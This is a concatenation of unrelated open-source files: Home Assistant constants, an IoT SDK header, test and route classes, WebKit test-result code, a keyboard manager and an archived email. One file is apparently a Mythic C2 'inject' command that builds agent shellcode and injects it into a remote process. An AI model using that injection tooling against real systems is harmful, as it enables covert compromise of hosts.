attributeMap.remove(attributeKey);
}
}
| 8,686 |
30,023 | <reponame>MrDelik/core<gh_stars>1000+
"""Constants for the FiveM integration."""
ATTR_PLAYERS_LIST = "players_list"
ATTR_RESOURCES_LIST = "resources_list"
DOMAIN = "fivem"
ICON_PLAYERS_MAX = "mdi:account-multiple"
ICON_PLAYERS_ONLINE = "mdi:account-multiple"
ICON_RESOURCES = "mdi:playlist-check"
MANUFACTURER = "Cfx.re"
NAME_PLAYERS_MAX = "Players Max"
NAME_PLAYERS_ONLINE = "Players Online"
NAME_RESOURCES = "Resources"
NAME_STATUS = "Status"
SCAN_INTERVAL = 60
UNIT_PLAYERS_MAX = "players"
UNIT_PLAYERS_ONLINE = "players"
UNIT_RESOURCES = "resources"
| 230 |
419 | /*
* Copyright (C) 2015-2018 Alibaba Group Holding Limited
*/
#ifndef __SDK_IMPL_INTERNAL_H__
#define __SDK_IMPL_INTERNAL_H__
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>
#include "iot_import.h"
#include "iot_export.h"
#include "iotx_utils.h"
#include "iotx_system.h"
#ifndef MAL_ENABLED
#ifdef MQTT_COMM_ENABLED
#include "iotx_mqtt.h"
#endif
#else
#include "mal.h"
#endif
#define sdk_emerg(...) log_emerg("sdk", __VA_ARGS__)
#define sdk_crit(...) log_crit("sdk", __VA_ARGS__)
#define sdk_err(...) log_err("sdk", __VA_ARGS__)
#define sdk_warning(...) log_warning("sdk", __VA_ARGS__)
#define sdk_info(...) log_info("sdk", __VA_ARGS__)
#define sdk_debug(...) log_debug("sdk", __VA_ARGS__)
#define sdk_malloc(size) LITE_malloc(size, MEM_MAGIC, "impl")
#define sdk_free LITE_free
#define DYNAMIC_REGISTER_REGION_SHANGHAI "https://iot-auth.cn-shanghai.aliyuncs.com/auth/register/device" /* shanghai */
#define DYNAMIC_REGISTER_REGION_SOUTHEAST "https://iot-auth.ap-southeast-1.aliyuncs.com/auth/register/device" /* singapore */
#define DYNAMIC_REGISTER_REGION_NORTHEAST "https://iot-auth.ap-northeast-1.aliyuncs.com/auth/register/device" /* japan */
#define DYNAMIC_REGISTER_REGION_US_WEST "https://iot-auth.us-west-1.aliyuncs.com/auth/register/device" /* us west */
#define DYNAMIC_REGISTER_REGION_US_EAST "https://iot-auth.us-east-1.aliyuncs.com/auth/register/device" /* us east */
#define DYNAMIC_REGISTER_REGION_EU_CENTRAL "https://iot-auth.eu-central-1.aliyuncs.com/auth/register/device" /* german */
#define DYNAMIC_REGISTER_RANDOM_KEY_LENGTH (15)
#define DYNAMIC_REGISTER_SIGN_LENGTH (65)
#define DYNAMIC_REGISTER_SIGN_METHOD_HMACMD5 "hmacmd5"
#define DYNAMIC_REGISTER_SIGN_METHOD_HMACSHA1 "hmacsha1"
#define DYNAMIC_REGISTER_SIGN_METHOD_HMACSHA256 "hmacsha256"
typedef struct {
int domain_type;
int dynamic_register;
} sdk_impl_ctx_t;
typedef enum {
IMPL_LINKKIT_IOCTL_SWITCH_PROPERTY_POST_REPLY, /* only for master device, choose whether you need receive property post reply message */
IMPL_LINKKIT_IOCTL_SWITCH_EVENT_POST_REPLY, /* only for master device, choose whether you need receive event post reply message */
IMPL_LINKKIT_IOCTL_SWITCH_PROPERTY_SET_REPLY, /* only for master device, choose whether you need send property set reply message */
IMPL_LINKKIT_IOCTL_MAX
} impl_linkkit_ioctl_cmd_t;
sdk_impl_ctx_t *sdk_impl_get_ctx(void);
int perform_dynamic_register(_IN_ char product_key[PRODUCT_KEY_MAXLEN],
_IN_ char product_secret[PRODUCT_SECRET_MAXLEN],
_IN_ char device_name[DEVICE_NAME_MAXLEN],
_OU_ char device_secret[DEVICE_SECRET_MAXLEN]);
#endif /* __SDK_IMPL_INTERNAL_H__ */
| 1,439 |
1,478 | /**
* Copyright (c) 2015-present, Facebook, Inc.
* All rights reserved.
*
* This source code is licensed under the BSD-style license found in the
* LICENSE file in the root directory of this source tree. An additional grant
* of patent rights can be found in the PATENTS file in the same directory.
*/
#pragma once
#include "state.h"
extern "C" {
#include <lauxlib.h>
#include <lua.h>
int newState(lua_State* L);
int pushState(lua_State* L, torchcraft::State* s = nullptr, bool copy = false);
int pushUpdatesState(
lua_State* L,
std::vector<std::string>& updates,
int index = -1);
int freeState(lua_State* L);
int gcState(lua_State* L);
int indexState(lua_State* L);
int newindexState(lua_State* L);
int resetState(lua_State* L);
int totableState(lua_State* L);
int setconsiderState(lua_State* L);
int cloneState(lua_State* L);
const struct luaL_Reg state_m[] = {
{"__gc", gcState},
{"__index", indexState},
{"__newindex", newindexState},
{"reset", resetState},
{"toTable", totableState},
{"setOnlyConsiderTypes", setconsiderState},
{"clone", cloneState},
{nullptr, nullptr},
};
} // extern "C"
namespace torchcraft {
std::set<torchcraft::BW::UnitType> getConsideredTypes(
lua_State* L,
int index = -1);
void registerState(lua_State* L, int index);
}
| 477 |
698 | /*
Copyright 2010, Strategic Gains, Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package org.restexpress.route;
import java.util.List;
import io.netty.handler.codec.http.HttpMethod;
import org.restexpress.Request;
import org.restexpress.exception.MethodNotAllowedException;
import org.restexpress.exception.NotFoundException;
import org.restexpress.util.Resolver;
/**
* @author toddf
* @since May 4, 2010
*/
public class RouteResolver
implements Resolver<Action>
{
private RouteMapping routeMapping;
public RouteResolver(RouteMapping routes)
{
super();
this.routeMapping = routes;
}
public Route getNamedRoute(String name, HttpMethod method)
{
return routeMapping.getNamedRoute(name, method);
}
@Override
public Action resolve(Request request)
{
Action action = routeMapping.getActionFor(request.getEffectiveHttpMethod(), request.getPath());
if (action != null) return action;
List<HttpMethod> allowedMethods = routeMapping.getAllowedMethods(request.getPath());
if (allowedMethods != null && !allowedMethods.isEmpty())
{
throw new MethodNotAllowedException(request.getUrl(), allowedMethods);
}
throw new NotFoundException("Unresolvable URL: " + request.getUrl());
}
}
| 522 |
327 | from mythic_payloadtype_container.MythicCommandBase import *
import json
from mythic_payloadtype_container.MythicRPC import *
import base64
class InjectArguments(TaskArguments):
def __init__(self, command_line):
super().__init__(command_line)
self.args = {
"template": CommandParameter(name="Payload Template", type=ParameterType.Payload, supported_agents=["apollo"], supported_agent_build_parameters={"apollo": {"output_type": "Shellcode"}}),
"pid": CommandParameter(name="PID", type=ParameterType.Number),
"arch": CommandParameter(name="Architecture", type=ParameterType.ChooseOne, choices=["x64", "x86"])
}
errorMsg = "Missing required parameter: {}"
async def parse_arguments(self):
if (self.command_line[0] != "{"):
raise Exception("Inject requires JSON parameters and not raw command line.")
self.load_args_from_json_string(self.command_line)
class InjectCommand(CommandBase):
cmd = "inject"
needs_admin = False
help_cmd = "inject (modal popup)"
description = "Inject agent shellcode into a remote process."
version = 2
is_exit = False
is_file_browse = False
is_process_list = False
is_download_file = False
is_upload_file = False
is_remove_file = False
author = "@djhohnstein"
argument_class = InjectArguments
attackmapping = ["T1055"]
async def create_tasking(self, task: MythicTask) -> MythicTask:
temp = await MythicRPC().execute("get_payload",
payload_uuid=task.args.get_arg("template"))
gen_resp = await MythicRPC().execute("create_payload_from_uuid",
task_id=task.id,
payload_uuid=task.args.get_arg('template'),
new_description="{}'s injection into PID {}".format(task.operator, str(task.args.get_arg("pid"))))
if gen_resp.status == MythicStatus.Success:
# we know a payload is building, now we want it
while True:
resp = await MythicRPC().execute("get_payload",
payload_uuid=gen_resp.response["uuid"],
get_contents=True)
if resp.status == MythicStatus.Success:
if resp.response["build_phase"] == 'success':
b64contents = resp.response["contents"]
pe = base64.b64decode(b64contents)
if len(pe) > 1 and pe[:2] == b"\x4d\x5a":
raise Exception("Inject requires a payload of Raw output, but got an executable.")
# it's done, so we can register a file for it
task.args.add_arg("template", resp.response["file"]['agent_file_id'])
task.display_params = "payload '{}' into PID {} ({})".format(temp.response["tag"], task.args.get_arg("pid"), task.args.get_arg("arch"))
break
elif resp.response["build_phase"] == 'error':
raise Exception("Failed to build new payload: " + resp.response["error_message"])
else:
await asyncio.sleep(1)
else:
raise Exception("Failed to build payload from template {}".format(task.args.get_arg("template")))
return task
async def process_response(self, response: AgentResponse):
pass
| 1,678 |
454 | /************************************************************************
* Licensed under Public Domain (CC0) *
* *
* To the extent possible under law, the person who associated CC0 with *
* this code has waived all copyright and related or neighboring *
* rights to this code. *
* *
* You should have received a copy of the CC0 legalcode along with this *
* work. If not, see <http://creativecommons.org/publicdomain/zero/1.0/>.*
************************************************************************/
package org.reactivestreams.tck.junit5;
import org.junit.jupiter.api.AfterEach;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.extension.ExtendWith;
import org.reactivestreams.tck.TestEnvironment;
/**
* Provides tests for verifying {@link org.reactivestreams.Subscriber} and {@link org.reactivestreams.Subscription}
* specification rules, without any modifications to the tested implementation (also known as "Black Box" testing).
* <p>
* This verification is NOT able to check many of the rules of the spec, and if you want more
* verification of your implementation you'll have to implement {@code org.reactivestreams.tck.SubscriberWhiteboxVerification}
* instead.
*
* @see org.reactivestreams.Subscriber
* @see org.reactivestreams.Subscription
*/
@ExtendWith(TestngSkippingExtension.class)
public abstract class SubscriberBlackboxVerification<T>
extends org.reactivestreams.tck.SubscriberBlackboxVerification<T> {
protected SubscriberBlackboxVerification(TestEnvironment env) {
super(env);
}
@BeforeEach
public void startPublisherExecutorService() {
super.startPublisherExecutorService();
}
@AfterEach
public void shutdownPublisherExecutorService() {
super.shutdownPublisherExecutorService();
}
@BeforeEach
public void setUp() throws Exception {
super.setUp();
}
@Override
@Test
public void required_spec201_blackbox_mustSignalDemandViaSubscriptionRequest() throws Throwable {
super.required_spec201_blackbox_mustSignalDemandViaSubscriptionRequest();
}
@Override
@Test
public void untested_spec202_blackbox_shouldAsynchronouslyDispatch() throws Exception {
// Untested - do nothing
}
@Override
@Test
public void required_spec203_blackbox_mustNotCallMethodsOnSubscriptionOrPublisherInOnComplete()
throws Throwable {
super.required_spec203_blackbox_mustNotCallMethodsOnSubscriptionOrPublisherInOnComplete();
}
@Override
@Test
public void required_spec203_blackbox_mustNotCallMethodsOnSubscriptionOrPublisherInOnError()
throws Throwable {
super.required_spec203_blackbox_mustNotCallMethodsOnSubscriptionOrPublisherInOnError();
}
@Override
public void untested_spec204_blackbox_mustConsiderTheSubscriptionAsCancelledInAfterRecievingOnCompleteOrOnError()
throws Exception {
super.untested_spec204_blackbox_mustConsiderTheSubscriptionAsCancelledInAfterRecievingOnCompleteOrOnError();
}
@Override
public void required_spec205_blackbox_mustCallSubscriptionCancelIfItAlreadyHasAnSubscriptionAndReceivesAnotherOnSubscribeSignal()
throws Exception {
super.required_spec205_blackbox_mustCallSubscriptionCancelIfItAlreadyHasAnSubscriptionAndReceivesAnotherOnSubscribeSignal();
}
@Override
@Test
public void untested_spec206_blackbox_mustCallSubscriptionCancelIfItIsNoLongerValid() {
// Do nothing - untested
}
@Override
public void untested_spec207_blackbox_mustEnsureAllCallsOnItsSubscriptionTakePlaceFromTheSameThreadOrTakeCareOfSynchronization() {
// Do nothing - untested
}
@Override
public void untested_spec208_blackbox_mustBePreparedToReceiveOnNextSignalsAfterHavingCalledSubscriptionCancel() {
// Do nothing - untested
}
@Override
@Test
public void required_spec209_blackbox_mustBePreparedToReceiveAnOnCompleteSignalWithPrecedingRequestCall()
throws Throwable {
super.required_spec209_blackbox_mustBePreparedToReceiveAnOnCompleteSignalWithPrecedingRequestCall();
}
@Override
public void required_spec209_blackbox_mustBePreparedToReceiveAnOnCompleteSignalWithoutPrecedingRequestCall()
throws Throwable {
super.required_spec209_blackbox_mustBePreparedToReceiveAnOnCompleteSignalWithoutPrecedingRequestCall();
}
@Override
@Test
public void required_spec210_blackbox_mustBePreparedToReceiveAnOnErrorSignalWithPrecedingRequestCall()
throws Throwable {
super.required_spec210_blackbox_mustBePreparedToReceiveAnOnErrorSignalWithPrecedingRequestCall();
}
@Override
@Test
public void required_spec210_blackbox_mustBePreparedToReceiveAnOnErrorSignalWithoutPrecedingRequestCall()
throws Throwable {
super.required_spec210_blackbox_mustBePreparedToReceiveAnOnErrorSignalWithoutPrecedingRequestCall();
}
@Override
public void untested_spec211_blackbox_mustMakeSureThatAllCallsOnItsMethodsHappenBeforeTheProcessingOfTheRespectiveEvents() {
// Do nothing - untested
}
@Override
@Test
public void untested_spec212_blackbox_mustNotCallOnSubscribeMoreThanOnceBasedOnObjectEquality() {
// Do nothing - untested
}
@Override
@Test
public void untested_spec213_blackbox_failingOnSignalInvocation() {
// Do nothing - untested
}
@Override
@Test
public void required_spec213_blackbox_onSubscribe_mustThrowNullPointerExceptionWhenParametersAreNull()
throws Throwable {
super.required_spec213_blackbox_onSubscribe_mustThrowNullPointerExceptionWhenParametersAreNull();
}
@Override
@Test
public void required_spec213_blackbox_onNext_mustThrowNullPointerExceptionWhenParametersAreNull()
throws Throwable {
super.required_spec213_blackbox_onNext_mustThrowNullPointerExceptionWhenParametersAreNull();
}
@Override
@Test
public void required_spec213_blackbox_onError_mustThrowNullPointerExceptionWhenParametersAreNull()
throws Throwable {
super.required_spec213_blackbox_onError_mustThrowNullPointerExceptionWhenParametersAreNull();
}
@Override
@Test
public void untested_spec301_blackbox_mustNotBeCalledOutsideSubscriberContext() {
// Do nothing - untested
}
@Override
@Test
public void untested_spec308_blackbox_requestMustRegisterGivenNumberElementsToBeProduced() {
// Do nothing - untested
}
@Override
@Test
public void untested_spec310_blackbox_requestMaySynchronouslyCallOnNextOnSubscriber() {
// Do nothing - untested
}
@Override
@Test
public void untested_spec311_blackbox_requestMaySynchronouslyCallOnCompleteOrOnError() {
// Do nothing - untested
}
@Override
@Test
public void untested_spec314_blackbox_cancelMayCauseThePublisherToShutdownIfNoOtherSubscriptionExists() {
// Do nothing - untested
}
@Override
@Test
public void untested_spec315_blackbox_cancelMustNotThrowExceptionAndMustSignalOnError() {
// Do nothing - untested
}
@Override
@Test
public void untested_spec316_blackbox_requestMustNotThrowExceptionAndMustOnErrorTheSubscriber() {
// Do nothing - untested
}
@Override
public void notVerified() {
System.err.println("Not verified by this TCK");
}
} | 2,846 |
3,428 | {"id":"02331","group":"easy-ham-1","checksum":{"type":"MD5","value":"20925f3659cfea80ba7be52b3c379524"},"text":"From <EMAIL> Mon Oct 7 12:05:28 2002\nReturn-Path: <<EMAIL>>\nDelivered-To: y<EMAIL>int.org\nReceived: from localhost (jalapeno [127.0.0.1])\n\tby jmason.org (Postfix) with ESMTP id 6F8EF16F7D\n\tfor <jm@localhost>; Mon, 7 Oct 2002 12:04:05 +0100 (IST)\nReceived: from jalapeno [127.0.0.1]\n\tby localhost with IMAP (fetchmail-5.9.0)\n\tfor jm@localhost (single-drop); Mon, 07 Oct 2002 12:04:05 +0100 (IST)\nReceived: from dogma.slashnull.org (localhost [127.0.0.1]) by\n dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g9780NK23229 for\n <<EMAIL>>; Mon, 7 Oct 2002 09:00:23 +0100\nMessage-Id: <<EMAIL>>\nTo: yyyy<EMAIL>int.org\nFrom: boingboing <<EMAIL>>\nSubject: 9/11, war in Iraq threaten Disney parks\nDate: Mon, 07 Oct 2002 08:00:23 -0000\nContent-Type: text/plain; encoding=utf-8\n\nURL: http://boingboing.net/#85531557\nDate: Not supplied\n\nDisney's themepark business is in deep trouble in the post-9/11 world. A war \nwith Iraq could really kill 'em: \n\n While aggressively adding attractions, Disney boosted its profit by \n steadily raising admission prices. The strategy worked, helping deliver \n record profit for Disney year after year. \n\n \"The strategy was build, build, build. Every year there was something new,\" \n said <NAME>, a Disney historian and author. \"It was an astounding \n growth period.... Now they're overexposed.\"... \n\n Theme park operating income for Disney this year is expected to fall 27% to \n $1.16 billion, said Prudential Securities analyst <NAME>. By \n 2003, she said, the business could climb to $1.49 billion, depending on \n whether the U.S. goes to war with Iraq. \n\nLink[1] Discuss[2]\n\n[1] http://www.latimes.com/business/la-fi-disney6oct06,0,1287712.story?coll=la%2Dheadlines%2Dbusiness%2Dmanual\n[2] http://www.quicktopic.com/boing/H/iewxPJy39cF7\n\n\n"} | 743 |
777 | # Copyright (C) 2010 Google Inc. All rights reserved.
# Copyright (C) 2010 <NAME> (<EMAIL>), University of Szeged
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are
# met:
#
# * Redistributions of source code must retain the above copyright
# notice, this list of conditions and the following disclaimer.
# * Redistributions in binary form must reproduce the above
# copyright notice, this list of conditions and the following disclaimer
# in the documentation and/or other materials provided with the
# distribution.
# * Neither the name of Google Inc. nor the names of its
# contributors may be used to endorse or promote products derived from
# this software without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
# A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
# OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
# SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
# LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
# DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
# THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
import logging
import signal
import time
from webkitpy.layout_tests.models import test_expectations
from webkitpy.layout_tests.models import test_failures
_log = logging.getLogger(__name__)
OK_EXIT_STATUS = 0
# This matches what the shell does on POSIX.
INTERRUPTED_EXIT_STATUS = signal.SIGINT + 128
# POSIX limits status codes to 0-255. Normally run-webkit-tests returns the number
# of tests that failed. These indicate exceptional conditions triggered by the
# script itself, so we count backwards from 255 (aka -1) to enumerate them.
#
# FIXME: crbug.com/357866. We really shouldn't return the number of failures
# in the exit code at all.
EARLY_EXIT_STATUS = 251
SYS_DEPS_EXIT_STATUS = 252
NO_TESTS_EXIT_STATUS = 253
NO_DEVICES_EXIT_STATUS = 254
UNEXPECTED_ERROR_EXIT_STATUS = 255
ERROR_CODES = (
INTERRUPTED_EXIT_STATUS,
EARLY_EXIT_STATUS,
SYS_DEPS_EXIT_STATUS,
NO_TESTS_EXIT_STATUS,
NO_DEVICES_EXIT_STATUS,
UNEXPECTED_ERROR_EXIT_STATUS,
)
# In order to avoid colliding with the above codes, we put a ceiling on
# the value returned by num_regressions
MAX_FAILURES_EXIT_STATUS = 101
class TestRunException(Exception):
def __init__(self, code, msg):
self.code = code
self.msg = msg
class TestRunResults(object):
def __init__(self, expectations, num_tests):
self.total = num_tests
self.remaining = self.total
self.expectations = expectations
self.expected = 0
self.expected_failures = 0
self.unexpected = 0
self.unexpected_failures = 0
self.unexpected_crashes = 0
self.unexpected_timeouts = 0
self.tests_by_expectation = {}
self.tests_by_timeline = {}
self.results_by_name = {} # Map of test name to the last result for the test.
self.all_results = [] # All results from a run, including every iteration of every test.
self.unexpected_results_by_name = {}
self.failures_by_name = {}
self.total_failures = 0
self.expected_skips = 0
for expectation in test_expectations.TestExpectations.EXPECTATIONS.values():
self.tests_by_expectation[expectation] = set()
for timeline in test_expectations.TestExpectations.TIMELINES.values():
self.tests_by_timeline[timeline] = expectations.get_tests_with_timeline(timeline)
self.slow_tests = set()
self.interrupted = False
self.keyboard_interrupted = False
self.run_time = 0 # The wall clock time spent running the tests (layout_test_runner.run()).
def add(self, test_result, expected, test_is_slow):
result_type_for_stats = test_result.type
if test_expectations.WONTFIX in self.expectations.model().get_expectations(test_result.test_name):
result_type_for_stats = test_expectations.WONTFIX
self.tests_by_expectation[result_type_for_stats].add(test_result.test_name)
self.results_by_name[test_result.test_name] = test_result
if test_result.type != test_expectations.SKIP:
self.all_results.append(test_result)
self.remaining -= 1
if len(test_result.failures):
self.total_failures += 1
self.failures_by_name[test_result.test_name] = test_result.failures
if expected:
self.expected += 1
if test_result.type == test_expectations.SKIP:
self.expected_skips += 1
elif test_result.type != test_expectations.PASS:
self.expected_failures += 1
else:
self.unexpected_results_by_name[test_result.test_name] = test_result
self.unexpected += 1
if len(test_result.failures):
self.unexpected_failures += 1
if test_result.type == test_expectations.CRASH:
self.unexpected_crashes += 1
elif test_result.type == test_expectations.TIMEOUT:
self.unexpected_timeouts += 1
if test_is_slow:
self.slow_tests.add(test_result.test_name)
class RunDetails(object):
def __init__(self, exit_code, summarized_full_results=None,
summarized_failing_results=None, initial_results=None,
all_retry_results=None, enabled_pixel_tests_in_retry=False):
self.exit_code = exit_code
self.summarized_full_results = summarized_full_results
self.summarized_failing_results = summarized_failing_results
self.initial_results = initial_results
self.all_retry_results = all_retry_results or []
self.enabled_pixel_tests_in_retry = enabled_pixel_tests_in_retry
def _interpret_test_failures(failures):
test_dict = {}
failure_types = [type(failure) for failure in failures]
# FIXME: get rid of all this is_* values once there is a 1:1 map between
# TestFailure type and test_expectations.EXPECTATION.
if test_failures.FailureMissingAudio in failure_types:
test_dict['is_missing_audio'] = True
if test_failures.FailureMissingResult in failure_types:
test_dict['is_missing_text'] = True
if test_failures.FailureMissingImage in failure_types or test_failures.FailureMissingImageHash in failure_types:
test_dict['is_missing_image'] = True
if test_failures.FailureTestHarnessAssertion in failure_types:
test_dict['is_testharness_test'] = True
return test_dict
def summarize_results(port_obj, expectations, initial_results,
all_retry_results, enabled_pixel_tests_in_retry,
only_include_failing=False):
"""Returns a dictionary containing a summary of the test runs, with the following fields:
'version': a version indicator
'fixable': The number of fixable tests (NOW - PASS)
'skipped': The number of skipped tests (NOW & SKIPPED)
'num_regressions': The number of non-flaky failures
'num_flaky': The number of flaky failures
'num_passes': The number of expected and unexpected passes
'tests': a dict of tests -> {'expected': '...', 'actual': '...'}
"""
results = {}
results['version'] = 3
all_retry_results = all_retry_results or []
tbe = initial_results.tests_by_expectation
tbt = initial_results.tests_by_timeline
results['fixable'] = len(tbt[test_expectations.NOW] - tbe[test_expectations.PASS])
# FIXME: Remove this. It is redundant with results['num_failures_by_type'].
results['skipped'] = len(tbt[test_expectations.NOW] & tbe[test_expectations.SKIP])
num_passes = 0
num_flaky = 0
num_regressions = 0
keywords = {}
for expectation_string, expectation_enum in test_expectations.TestExpectations.EXPECTATIONS.iteritems():
keywords[expectation_enum] = expectation_string.upper()
num_failures_by_type = {}
for expectation in initial_results.tests_by_expectation:
tests = initial_results.tests_by_expectation[expectation]
if expectation != test_expectations.WONTFIX:
tests &= tbt[test_expectations.NOW]
num_failures_by_type[keywords[expectation]] = len(tests)
# The number of failures by type.
results['num_failures_by_type'] = num_failures_by_type
tests = {}
for test_name, result in initial_results.results_by_name.iteritems():
expected = expectations.get_expectations_string(test_name)
actual = [keywords[result.type]]
actual_types = [result.type]
if only_include_failing and result.type == test_expectations.SKIP:
continue
if result.type == test_expectations.PASS:
num_passes += 1
if not result.has_stderr and only_include_failing:
continue
elif (result.type != test_expectations.SKIP and
test_name in initial_results.unexpected_results_by_name):
# Loop through retry results to collate results and determine
# whether this is a regression, unexpected pass, or flaky test.
is_flaky = False
has_unexpected_pass = False
for retry_attempt_results in all_retry_results:
# If a test passes on one of the retries, it won't be in the subsequent retries.
if test_name not in retry_attempt_results.results_by_name:
break
retry_result_type = retry_attempt_results.results_by_name[test_name].type
actual.append(keywords[retry_result_type])
actual_types.append(retry_result_type)
if test_name in retry_attempt_results.unexpected_results_by_name:
if retry_result_type == test_expectations.PASS:
# The test failed unexpectedly at first, then passed
# unexpectedly on a subsequent run -> unexpected pass.
has_unexpected_pass = True
else:
# The test failed unexpectedly at first but then ran as
# expected on a subsequent run -> flaky.
is_flaky = True
if len(set(actual)) == 1:
actual = [actual[0]]
actual_types = [actual_types[0]]
if is_flaky:
num_flaky += 1
elif has_unexpected_pass:
num_passes += 1
if not result.has_stderr and only_include_failing:
continue
else:
# Either no retries or all retries failed unexpectedly.
num_regressions += 1
test_dict = {}
rounded_run_time = round(result.test_run_time, 1)
if rounded_run_time:
test_dict['time'] = rounded_run_time
if result.has_stderr:
test_dict['has_stderr'] = True
bugs = expectations.model().get_expectation_line(test_name).bugs
if bugs:
test_dict['bugs'] = bugs
if result.reftest_type:
test_dict.update(reftest_type=list(result.reftest_type))
test_dict['expected'] = expected
test_dict['actual'] = " ".join(actual)
def is_expected(actual_result):
return expectations.matches_an_expected_result(test_name, actual_result,
port_obj.get_option('pixel_tests') or result.reftest_type,
port_obj.get_option('enable_sanitizer'))
# To avoid bloating the output results json too much, only add an entry for whether the failure is unexpected.
if not any(is_expected(actual_result) for actual_result in actual_types):
test_dict['is_unexpected'] = True
test_dict.update(_interpret_test_failures(result.failures))
for retry_attempt_results in all_retry_results:
retry_result = retry_attempt_results.unexpected_results_by_name.get(test_name)
if retry_result:
test_dict.update(_interpret_test_failures(retry_result.failures))
if result.has_repaint_overlay:
test_dict['has_repaint_overlay'] = True
# Store test hierarchically by directory. e.g.
# foo/bar/baz.html: test_dict
# foo/bar/baz1.html: test_dict
#
# becomes
# foo: {
# bar: {
# baz.html: test_dict,
# baz1.html: test_dict
# }
# }
parts = test_name.split('/')
current_map = tests
for i, part in enumerate(parts):
if i == (len(parts) - 1):
current_map[part] = test_dict
break
if part not in current_map:
current_map[part] = {}
current_map = current_map[part]
results['tests'] = tests
# FIXME: Remove this. It is redundant with results['num_failures_by_type'].
results['num_passes'] = num_passes
results['num_flaky'] = num_flaky
# FIXME: Remove this. It is redundant with results['num_failures_by_type'].
results['num_regressions'] = num_regressions
# Does results.html have enough information to compute this itself? (by
# checking total number of results vs. total number of tests?)
results['interrupted'] = initial_results.interrupted
results['layout_tests_dir'] = port_obj.layout_tests_dir()
results['pixel_tests_enabled'] = port_obj.get_option('pixel_tests')
results['seconds_since_epoch'] = int(time.time())
results['build_number'] = port_obj.get_option('build_number')
results['builder_name'] = port_obj.get_option('builder_name')
if port_obj.get_option('order') == 'random':
results['random_order_seed'] = port_obj.get_option('seed')
results['path_delimiter'] = '/'
# Don't do this by default since it takes >100ms.
# It's only used for rebaselining and uploading data to the flakiness dashboard.
results['chromium_revision'] = ''
if port_obj.get_option('builder_name'):
path = port_obj.repository_path()
scm = port_obj.host.scm_for_path(path)
if scm:
results['chromium_revision'] = str(scm.commit_position(path))
else:
_log.warning('Failed to determine chromium commit position for %s, '
'leaving "chromium_revision" key blank in full_results.json.',
path)
return results
| 6,223 |
320 | #include "KBDManager.hpp"
#include "utils.hpp"
#include "Permissions.hpp"
using namespace std;
using namespace Permissions;
constexpr int FSW_MAX_WAIT_PERMISSIONS_US = 5 * 1000000;
KBDManager::~KBDManager() {
for (Keyboard *kbd : kbds)
delete kbd;
}
void KBDManager::setup() {
for (auto& kbd : kbds) {
syslog(LOG_INFO, "Attempting to get lock on device: %s @ %s",
kbd->getName().c_str(), kbd->getPhys().c_str());
kbd->lock();
}
updateAvailableKBDs();
}
bool KBDManager::getEvent(KBDAction *action) {
Keyboard *kbd = nullptr;
bool had_key = false;
try {
available_kbds_mtx.lock();
vector<Keyboard *> kbds(available_kbds);
available_kbds_mtx.unlock();
int idx = kbdMultiplex(kbds, 64);
if (idx != -1) {
kbd = kbds[idx];
kbd->get(action);
// Throw away the key if the keyboard isn't locked yet.
if (kbd->getState() == KBDState::LOCKED)
had_key = true;
// Always lock unlocked keyboards.
else if (kbd->getState() == KBDState::OPEN)
kbd->lock();
}
} catch (const KeyboardError &e) {
// Disable the keyboard,
syslog(LOG_ERR, "Read error on keyboard, assumed to be removed: %s",
kbd->getName().c_str());
kbd->disable();
{
lock_guard<mutex> lock(available_kbds_mtx);
auto pos_it = find(available_kbds.begin(), available_kbds.end(), kbd);
available_kbds.erase(pos_it);
}
lock_guard<mutex> lock(pulled_kbds_mtx);
pulled_kbds.push_back(kbd);
}
return had_key;
}
/**
* Loop until the file has the correct permissions, when immediately added
* /dev/input/ files seem to be owned by root:root or by root:input with
* restrictive permissions. We expect it to be root:input with the input group
* being able to read and write.
*
* @return True iff the device is ready to be opened.
*/
static bool waitForDevice(const string& path) {
const int wait_inc_us = 100;
gid_t input_gid; {
auto [grp, grpbuf] = getgroup("input");
(void) grpbuf;
input_gid = grp->gr_gid;
}
struct stat stbuf;
unsigned grp_perm;
int ret;
int wait_time = 0;
do {
usleep(wait_inc_us);
ret = stat(path.c_str(), &stbuf);
grp_perm = stbuf.st_mode & S_IRWXG;
// Check if it is a character device, test is
// done here because permissions might not allow
// for even stat()ing the file.
if (ret != -1 && !S_ISCHR(stbuf.st_mode)) {
// Not a character device, return
syslog(LOG_WARNING, "File %s is not a character device", path.c_str());
return false;
}
if ((wait_time += wait_inc_us) > FSW_MAX_WAIT_PERMISSIONS_US) {
syslog(LOG_ERR,
"Could not aquire permissions rw with group input on '%s'",
path.c_str());
// Skip this file
return false;
}
} while (ret != -1 && !(4 & grp_perm && grp_perm & 2) &&
stbuf.st_gid != input_gid);
return true;
}
void KBDManager::startHotplugWatcher() {
input_fsw.add("/dev/input/by-id");
input_fsw.setWatchDirs(true);
input_fsw.setAutoAdd(false);
input_fsw.asyncWatch([this](FSEvent &ev) {
// Don't react to the directory itself.
if (ev.path == "/dev/input/by-id")
return true;
